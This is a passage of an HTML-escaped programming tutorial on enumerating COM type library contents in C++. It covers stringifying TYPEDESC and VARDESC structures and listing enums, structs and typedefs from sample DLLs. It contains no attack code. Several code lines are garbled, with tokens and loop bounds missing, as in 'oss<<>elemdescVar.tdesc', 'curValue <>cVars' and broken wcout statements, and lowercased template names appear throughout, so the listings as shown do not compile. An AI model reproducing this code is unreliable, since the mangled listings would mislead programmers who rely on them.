New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_I8: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"__int64"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_UI8: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"unsigned __int64"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_INT: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"int"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_UINT: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"UINT"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_HRESULT: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"HRESULT"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_VOID: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"void"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_LPSTR: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"char*"&lt;/span&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;case&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; VT_LPWSTR: &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"wchar_t*"&lt;/span&gt;;&lt;br /&gt;        }&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;"BIG     ERROR!"&lt;/span&gt;;&lt;br /&gt;    }&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Holy Moly.  A recursive function.  And one that doesn't just compute 7 factorial.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Passing &lt;strong&gt;stringifyTypeDesc&lt;/strong&gt; a &lt;strong&gt;TYPEDESC&lt;/strong&gt; pointer and corresponding &lt;strong&gt;ITypeInfo&lt;/strong&gt; pointer returns the stringified name of the type.   If the &lt;strong&gt;VARTYPE&lt;/strong&gt; of the &lt;strong&gt;TYPEDESC&lt;/strong&gt; is VT_PTR, the function grabs &lt;strong&gt;stringifyTypeDesc(typeDesc-&gt;lptdesc, pTypeInfo)&lt;/strong&gt; and appends an asterisk.  For example, if &lt;strong&gt;typeDesc.vt&lt;/strong&gt; equals VT_PTR and &lt;strong&gt;typeDesc-&gt;lptdesc.vt&lt;/strong&gt; equals VT_BSTR, the function returns "BSTR*."  The &lt;strong&gt;SAFEARRAY&lt;/strong&gt; case is similar.  The stringified name of &lt;strong&gt;typeDesc-&gt;lptdesc&lt;/strong&gt; is returned between the paranthesis in "SAFEARRAY()."  &lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;The C array scenario is different, but no more complicated.  &lt;strong&gt;typeDesc-&gt;lpadesc-&gt;tdescElem&lt;/strong&gt; is stringified and for each dimension, a bracket pair containing the domain of elements in that dimension is appended.  Notice that the printed range of elements is inclusive.   For example, if the lower bound of a dimension was 6, and the number of elements was 4, the bracket would look like "[6...9]."  The four elements starting at 6 (6, 7, 8, and 9) constitute the domain of the array in that dimension.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Both the VT_USERDEFINED case and the VARIANT cases cause this recursive function to begin unwinding.  VT_USERDEFINED simply returns &lt;strong&gt;stringifyCustomType&lt;/strong&gt; as defined above.  The big VARIANT switch (a very common and goofy looking creature) returns the string representation of the contained VARTYPE.  If &lt;strong&gt;typeDesc.vt&lt;/strong&gt; is none of the cases I've coded for, "BIG ERROR!" is returned.  As time progresses, more types may be added to VARTYPE (although I seriously doubt it - enums should be immutable like interfaces), and "BIG ERROR!" draws attention to the fact that you are using an out of date client.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;std::string stringifyVarDesc(VARDESC*     varDesc, ITypeInfo* pti) {&lt;br /&gt;        CComPtr&lt;itypeinfo&gt; pTypeInfo(pti);&lt;br /&gt;        std::ostringstream oss;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(varDesc-&gt;varkind == VAR_CONST) oss&lt;&lt; &lt;span style="color:#ff0000;"&gt;"const     "&lt;/span&gt;;&lt;br /&gt;        oss&lt;&lt;&gt;elemdescVar.tdesc,     pTypeInfo);&lt;br /&gt;        CComBSTR bstrName;&lt;br /&gt;        HRESULT hr(pTypeInfo-&gt;GetDocumentation(varDesc-&gt;memid,     &amp;amp;bstrName, 0, 0, 0));&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; &lt;span style="color:#ff0000;"&gt;"UnknownName"&lt;/span&gt;;&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;char&lt;/span&gt; ansiName[MAX_PATH];&lt;br /&gt;        WideCharToMultiByte(CP_ACP, 0, bstrName, bstrName.Length() + 1,     ansiName,&lt;br /&gt;            MAX_PATH, 0, 0);&lt;br /&gt;        oss&lt;&lt; &lt;span style="color:#ff0000;"&gt;' '&lt;/span&gt;&lt;&lt; ansiName;&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(varDesc-&gt;varkind != VAR_CONST) &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; oss.str();&lt;br /&gt;        oss&lt;&lt; &lt;span style="color:#ff0000;"&gt;" = "&lt;/span&gt;;&lt;br /&gt;        CComVariant variant;&lt;br /&gt;        hr = VariantChangeType(&amp;amp;variant, varDesc-&gt;lpvarValue, 0,     VT_BSTR);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) oss&lt;&lt; &lt;span style="color:#ff0000;"&gt;"???"&lt;/span&gt;;&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;else&lt;/span&gt; {&lt;br /&gt;            WideCharToMultiByte(CP_ACP, 0, variant.bstrVal,     &lt;/span&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;                SysStringLen(variant.bstrVal) + 1, ansiName, MAX_PATH, 0, 0);&lt;br /&gt;            oss&lt;&lt; ansiName;&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt; oss.str();&lt;br /&gt;    }&lt;/span&gt;&lt;/small&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;&lt;strong&gt;stringifyVarDesc&lt;/strong&gt; returns the complete string of the enum value, structure value, or union value in question.  If the value is const, "const" is printed before the return value of &lt;strong&gt;stringifyTypeDesc&lt;/strong&gt;.  The value name, produced by &lt;strong&gt;ITypeInfo::GetDocumentation&lt;/strong&gt;, is appended.  If the value is const, an equal sign is added, and &lt;strong&gt;VariantChangeType&lt;/strong&gt; is used to coerce &lt;strong&gt;varDesc-&gt;lpvarValue&lt;/strong&gt; to a BSTR, which becomes the right-hand side of the equation.  The string is then returned to the caller.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;With all this work done, shall we test the code?  First we will output a list of all the enums and their values.&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;#include&lt;/span&gt;     &lt;windows.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;atlbase.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;iostream&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;sstream&gt;&lt;/span&gt;&lt;/small&gt;&lt;p&gt;&lt;span style="font-family:Courier New;color:#007d0a;"&gt;&lt;small&gt;// print     out all the enums and their values in a type library&lt;/small&gt;&lt;/span&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;void&lt;/span&gt; main() {&lt;br /&gt;        HRESULT hr(CoInitialize(0));&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"No COM... This is embarassing.\n\n";&lt;/span&gt; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;       &lt;br /&gt;        CComPtr&lt;itypelib&gt; pTypeLib;&lt;br /&gt;        hr = LoadTypeLib(L&lt;span style="color:#ff0000;"&gt;"C:\\Windows\\System\\msdxm.ocx"&lt;/span&gt;,     &amp;amp;pTypeLib);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Couldn't load the     library :(\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;       &lt;br /&gt;        UINT infoCount(pTypeLib-&gt;GetTypeInfoCount());&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;for&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(UINT curEnum(0); curEnum &lt; infoCount; ++curEnum) {&lt;br /&gt;            TYPEKIND typeKind;&lt;br /&gt;            hr = pTypeLib-&gt;GetTypeInfoType(curEnum,     &amp;amp;typeKind);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr || typeKind != TKIND_ENUM) &lt;span style="color:#0000ff;"&gt;continue&lt;/span&gt;;&lt;br /&gt;           &lt;br /&gt;            CComPtr&lt;itypeinfo&gt; pTypeInfo;&lt;br /&gt;            hr = pTypeLib-&gt;GetTypeInfo(curEnum,     &amp;amp;pTypeInfo);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Failure getting     type info\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;           &lt;br /&gt;            TYPEATTR* typeAttr;&lt;br /&gt;            hr = pTypeInfo-&gt;GetTypeAttr(&amp;amp;typeAttr);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Failure getting     type attr\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;            CComBSTR name;&lt;br /&gt;            hr = pTypeInfo-&gt;GetDocumentation(-1,     &amp;amp;name, 0, 0, 0);&lt;br /&gt;            std::wcout&lt;&lt; color="#ff0000"&gt;"\n"&lt;/span&gt;;       &lt;br /&gt;               &lt;br /&gt;            &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt;(UINT     curValue(0); curValue &lt;&gt;cVars; ++curValue) {&lt;br /&gt;                VARDESC* varDesc;&lt;br /&gt;                hr =     pTypeInfo-&gt;GetVarDesc(curValue, &amp;amp;varDesc);&lt;br /&gt;                &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) {     std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Failure getting var desc\n\n"&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt;; }&lt;br /&gt;                std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;'\t'&lt;/span&gt;&lt;&lt; color="#ff0000"&gt;'\n'&lt;/span&gt;;&lt;br /&gt;                    pTypeInfo-&gt;ReleaseVarDesc(varDesc);                &lt;br /&gt;            }&lt;br /&gt;            pTypeInfo-&gt;ReleaseTypeAttr(typeAttr);&lt;br /&gt;        }&lt;br /&gt;    }&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Again, we are loading the Windows Media Player type library (although any type library with enums would suffice).  After we confirm that the type library index refers to an enum (with &lt;strong&gt;ITypeLib::GetTypeInfoType&lt;/strong&gt;), we &lt;strong&gt;ITypeLib::GetTypeInfo&lt;/strong&gt; to procure the appropriate type description interface pointer.  Next we print the name of the enum (&lt;strong&gt;ITypeInfo::GetDocumentation&lt;/strong&gt;, passing -1).  We retrieve the &lt;strong&gt;TYPEATTR&lt;/strong&gt; of the enum, and loop through all values of the type, each time passing the &lt;strong&gt;ITypeInfo::GetVarDesc&lt;/strong&gt; produced structure to &lt;strong&gt;stringifyVarDesc&lt;/strong&gt; and outputting the result.  Here is a screenshot (the "-- More --" prompt is due to the |more filter):&lt;/span&gt;&lt;/p&gt;  &lt;p align="center"&gt;&lt;img src="http://spec.winprog.org/typeinf2/enumres2.gif" alt="enumres2.gif (7716 bytes)" height="405" width="440" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Great.  It worked great.  I promised that with just a single modification, this code would also display all the structures in a type library, as well as all the enums.  Well, here you go.  It's the same source but with the check for TKIND_ENUM replaced by TKIND_RECORD (record and struct are interchangeable terms in Automation).&lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;#include&lt;/span&gt;     &lt;windows.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;atlbase.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;iostream&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;sstream&gt;&lt;/span&gt;&lt;/small&gt;&lt;p&gt;&lt;span style="font-family:Courier New;color:#007d0a;"&gt;&lt;small&gt;// print     out all the structs and their elements in a type library&lt;/small&gt;&lt;/span&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;void&lt;/span&gt; main() {&lt;br /&gt;        HRESULT hr(CoInitialize(0));&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"No COM... This is     embarassing.\n\n"&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt;; }&lt;br /&gt;       &lt;br /&gt;        CComPtr&lt;itypelib&gt; pTypeLib;&lt;br /&gt;        hr = LoadTypeLib(L&lt;span style="color:#ff0000;"&gt;"C:\\Windows\\System\\dx3j.dll"&lt;/span&gt;,     &amp;amp;pTypeLib);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Couldn't load the     library :(\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;       &lt;br /&gt;        UINT infoCount(pTypeLib-&gt;GetTypeInfoCount());&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt;(UINT curStruct(0); curStruct &lt;     infoCount; ++curStruct) {&lt;br /&gt;            TYPEKIND typeKind;&lt;br /&gt;            hr = pTypeLib-&gt;GetTypeInfoType(curStruct,     &amp;amp;typeKind);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr || typeKind != TKIND_RECORD) &lt;span style="color:#0000ff;"&gt;continue&lt;/span&gt;;        &lt;span style="color:#007d0a;"&gt;// this is the only&lt;/span&gt;&lt;/span&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#007d0a;"&gt;                                                             // non-trivial change!&lt;/span&gt;&lt;br /&gt;            CComPtr&lt;itypeinfo&gt; pTypeInfo;&lt;br /&gt;            hr = pTypeLib-&gt;GetTypeInfo(curStruct,     &amp;amp;pTypeInfo);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Failure getting     type info\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;           &lt;br /&gt;            TYPEATTR* typeAttr;&lt;br /&gt;            hr = pTypeInfo-&gt;GetTypeAttr(&amp;amp;typeAttr);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Failure getting     type attr\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;            CComBSTR name;&lt;br /&gt;            hr = pTypeInfo-&gt;GetDocumentation(-1,     &amp;amp;name, 0, 0, 0);&lt;br /&gt;            std::wcout&lt;&lt; color="#ff0000"&gt;"\n"&lt;/span&gt;;       &lt;br /&gt;               &lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;for&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(UINT curValue(0); curValue &lt;&gt;cVars; ++curValue) {&lt;br /&gt;                VARDESC* varDesc;&lt;br /&gt;                hr =     pTypeInfo-&gt;GetVarDesc(curValue, &amp;amp;varDesc);&lt;br /&gt;                &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) {     std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Failure getting var desc\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;                std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;'\t'&lt;/span&gt;&lt;&lt; color="#ff0000"&gt;'\n'&lt;/span&gt;;&lt;br /&gt;                    pTypeInfo-&gt;ReleaseVarDesc(varDesc);                &lt;br /&gt;            }&lt;br /&gt;            pTypeInfo-&gt;ReleaseTypeAttr(typeAttr);&lt;br /&gt;        }&lt;br /&gt;    }&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;The specified file is the Direct X 3 for Java distributable.  Goofy, I know, but it has a lot of structures:&lt;/span&gt;&lt;/p&gt;  &lt;p align="center"&gt;&lt;img src="http://spec.winprog.org/typeinf2/struct1.gif" alt="struct1.gif (4546 bytes)" height="389" width="312" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:Arial;"&gt;Compiling the program and testing for TKIND_ALIAS will display all the unions in the type library (I'll spare you the screenshot).  This is pretty useful code.  Let's try to display all the typedefs in a type library.  &lt;/span&gt;&lt;/p&gt; &lt;div align="center"&gt;&lt;center&gt;  &lt;table bgcolor="#f2f2f2" border="0" cellpadding="0" cellspacing="3" width="85%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td width="100%"&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;#include&lt;/span&gt;     &lt;windows.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;atlbase.h&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;iostream&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;#include&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;     &lt;sstream&gt;&lt;/span&gt;&lt;/small&gt;&lt;p&gt;&lt;span style="font-family:Courier New;color:#007d0a;"&gt;&lt;small&gt;// print     out all the typedefs in a type library&lt;/small&gt;&lt;/span&gt;&lt;/p&gt;     &lt;p&gt;&lt;small&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;void&lt;/span&gt; main() {&lt;br /&gt;        HRESULT hr(CoInitialize(0));&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"No COM... This is embarassing.\n\n"&lt;/span&gt;; &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt;; }&lt;br /&gt;       &lt;br /&gt;        CComPtr&lt;itypelib&gt; pTypeLib;&lt;br /&gt;        hr = LoadTypeLib(L&lt;span style="color:#ff0000;"&gt;"D:\\Program     Files\\Visio\\VisLib32.dll"&lt;/span&gt;, &amp;amp;pTypeLib);&lt;br /&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Couldn't load the     library :(\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;       &lt;br /&gt;        UINT infoCount(pTypeLib-&gt;GetTypeInfoCount());&lt;br /&gt;        &lt;span style="color:#0000ff;"&gt;for&lt;/span&gt;(UINT curTypedef(0); curTypedef &lt;     infoCount; ++curTypedef) {&lt;br /&gt;            TYPEKIND typeKind;&lt;br /&gt;            hr = pTypeLib-&gt;GetTypeInfoType(curTypedef,     &amp;amp;typeKind);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr || typeKind != TKIND_ALIAS) &lt;span style="color:#0000ff;"&gt;continue&lt;/span&gt;;&lt;br /&gt;           &lt;br /&gt;            CComPtr&lt;itypeinfo&gt; pTypeInfo;&lt;br /&gt;            hr = pTypeLib-&gt;GetTypeInfo(curTypedef,     &amp;amp;pTypeInfo);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Failure getting     type info\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;           &lt;br /&gt;            TYPEATTR* typeAttr;&lt;br /&gt;            hr = pTypeInfo-&gt;GetTypeAttr(&amp;amp;typeAttr);&lt;br /&gt;            &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr) { std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"Failure getting     type attr\n\n"&lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;return&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;; }&lt;br /&gt;           &lt;br /&gt;            std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"typedef     "&lt;/span&gt;&lt;&lt;&lt;br /&gt;                    stringifyTypeDesc(&amp;amp;typeAttr-&gt;tdescAlias, pTypeInfo)&lt;&lt; &lt;span style="color:#ff0000;"&gt;'     '&lt;/span&gt;;&lt;br /&gt;   &lt;br /&gt;            CComBSTR name;&lt;br /&gt;            hr = pTypeInfo-&gt;GetDocumentation(-1,     &amp;amp;name, 0, 0, 0);&lt;/span&gt;&lt;/small&gt;&lt;br /&gt;    &lt;small&gt;&lt;span style="font-family:Courier New;"&gt;        &lt;/span&gt;&lt;span style="font-family:Courier New;color:#0000ff;"&gt;if&lt;/span&gt;&lt;span style="font-family:Courier New;"&gt;(hr)     std::cout&lt;&lt; &lt;span style="color:#ff0000;"&gt;"UnknownTypedefName\n"&lt;/span&gt;;&lt;br /&gt;            &lt;span style="color:#0000ff;"&gt;else&lt;/span&gt;     std::wcout&lt;&lt; color="#ff0000"&gt;"\n"&lt;/span&gt;;           &lt;br /&gt;            pTypeInfo-&gt;ReleaseTypeAttr(typeAttr);&lt;br /&gt;        }&lt;br /&gt;    }&lt;/span&gt;&lt;/small&gt;&lt;/p&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt;&lt;/div&gt;  